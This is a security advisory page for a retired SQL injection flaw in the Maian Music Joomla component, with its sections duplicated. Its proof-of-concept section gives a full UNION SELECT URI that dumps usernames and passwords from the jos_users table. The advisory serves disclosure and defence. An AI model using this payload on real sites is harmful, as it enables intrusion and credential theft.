RETIRED: Maian Music Joomla! Component 'category' Parameter SQL Injection Vulnerability
BID:34432
Info
RETIRED: Maian Music Joomla! Component 'category' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 34432 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 08 2009 12:00AM |
| Updated: | Apr 13 2009 04:16PM |
| Credit: | H!tm@N |
| Vulnerable: |
Are Times Maian Music Joomla Component 1.2.1 |
| Not Vulnerable: | |
Discussion
RETIRED: Maian Music Joomla! Component 'category' Parameter SQL Injection Vulnerability
The Maian Music component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Maian Music 1.2.1 is vulnerable; other versions may also be affected.
NOTE: This BID is retired because the vulnerability is not present in the distributed version of the application, but only in a site-specific, customized, single instance.
The Maian Music component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Maian Music 1.2.1 is vulnerable; other versions may also be affected.
NOTE: This BID is retired because the vulnerability is not present in the distributed version of the application, but only in a site-specific, customized, single instance.
Exploit / POC
RETIRED: Maian Music Joomla! Component 'category' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_maianmusic&section=category&category=-1+union+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--&Itemid=70
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_maianmusic&section=category&category=-1+union+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users--&Itemid=70
Solution / Fix
RETIRED: Maian Music Joomla! Component 'category' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
RETIRED: Maian Music Joomla! Component 'category' Parameter SQL Injection Vulnerability
References:
References:
- Maian Music Joomla! Component Homepage (Are Times)
- Maian Script World Homepage (Maian)